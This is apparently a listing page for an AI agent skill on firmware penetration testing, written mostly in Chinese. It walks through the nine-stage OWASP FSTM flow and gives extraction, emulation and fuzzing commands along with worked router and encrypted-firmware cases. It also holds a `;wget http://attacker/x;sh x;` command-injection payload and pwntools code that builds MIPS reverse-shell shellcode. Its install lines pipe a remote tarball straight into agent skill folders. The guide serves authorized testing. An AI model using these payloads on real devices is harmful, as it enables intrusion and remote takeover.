firmware-pentest – Security skill for AI agents
Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.
Install the firmware-pentest skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/firmware-pentest-84a0d.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /firmware-pentest – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/firmware-pentest-84a0d.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $firmware-pentest – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/firmware-pentest-84a0d.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /firmware-pentest – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/firmware-pentest-84a0d.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /firmware-pentest – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
固件 / IoT 渗透链 (Firmware Pentest)
When to Use
- Assessing device firmware within an authorized engagement.
- Building an emulated environment for repeatable firmware analysis.
适用范围
下列任务进入本 skill:
1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
6. 硬件接口接入(UART / JTAG / SPI flash dump)
与其他 skill 分工
| 场景 | 用什么 |
|------|--------|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
隔离、工具与证据边界
先只读记录固件来源、型号、版本、SHA256 和副本;解析未知镜像也可能利用提取器漏洞。使用已审查固定版本,在可销毁 VM 内以非 root 优先运行,限制磁盘/递归/CPU/内存/时间,检查路径穿越与符号链接;不要挂载未知文件系统到宿主内核。QEMU user/chroot 不是安全边界。
外部工具、save_response.py、patterns-hardware.md、tool-index/RULES 并未随包提供;缺失时停止对应路径,不自动下载或运行同名文件。安装示例仅供独立审查,不是自动安装授权。硬件读写须确认芯片电压/引脚、断电、无反向供电和正确设备;不执行写 flash、故障注入或生产设备操作。密钥/凭据留在受控证据中,最小化展示;openssl -K 参数会暴露在进程列表,敏感解密应使用审查过的安全输入实现。
下面链路并非每项任务都必须执行:静态结论不能冒充运行结果,仿真结果不等同真机,CVE 字符串命中不证明适用。只执行获授权阶段,未执行项标为未验证;示例 CVE/百分比/性能和成功故事均非本次测试证据。
核心原理
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload关键判断:
- 提取失败不等于固件加密,先确认镜像格式与工具支持,按证据选择解析器并限制重试,勿无差别全部运行
- EMBA 可生成候选发现,效率与覆盖依固件和配置变化;需手工验证
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、
/dev/节点缺失 - ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
OWASP FSTM 九阶段工作流
Stage 1 — 信息收集(Information Gathering)
收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
Stage 2 — 获取固件(Obtaining Firmware)
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.binStage 3 — 分析固件(Analyzing Firmware)
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64Stage 4 — 提取文件系统(Extracting Filesystem)
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBIStage 5 — 静态分析文件系统(Filesystem Analysis)
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpdStage 6 — 模拟运行(Emulating Firmware)
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.binStage 7 — 动态分析(Dynamic Analysis)
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"Stage 8 — 运行时分析(Runtime Analysis)
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@Stage 9 — 二进制利用(Exploitation)
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"典型场景示例
场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件
- 官网下载 .bin,sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC场景 2:加密固件(找 bootloader 解密例程)
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料注意事项
- 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
- NVRAM:仿真起来 httpd 立即崩 → 可能是 NVRAM 或其他 ABI/依赖问题,须根据错误证据判断,Firmadyne 有 libnvram hook,FAT 默认带
- EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
- AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
- 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
- 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
- field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
---
按需自举(On-Demand Bootstrap)
工具清单
| 工具 | 用途 | 安装须单独审查授权 |
|------|------|---------|
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |
安装命令
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make installWindows 用户
固件渗透链强依赖 Linux 工具,建议:
- WSL2 Ubuntu 22.04(足够大多数场景)
- 或独立 Kali / Ubuntu 虚拟机
- EMBA 必须 Linux,Firmadyn
… (full content is in the download package)
Related skills
- fixing-accessibility – Audit and fix HTML accessibility issues including ARIA labels, keyboard navigation…
- fixing-metadata – Audit and fix HTML metadata including page titles, meta descriptions, canonical URLs…
- security-guidance – PreToolUse security-anti-pattern hook for Claude Code. Catches 12 common security risks…
- security-pen-testing – Use when the user asks to perform security audits, penetration testing, vulnerability…
- frontend-mobile-security-xss-scan – Inspect frontend code for XSS injection points, unsafe DOM manipulation, and missing…
- frontend-security-coder – Expert in secure frontend coding practices specializing in XSS prevention, output…
- geo-audit – Full website GEO+SEO audit with parallel subagent delegation.
- geo-platform-optimizer – Platform-specific AI search optimization — audit and optimize for Google AI Overviews…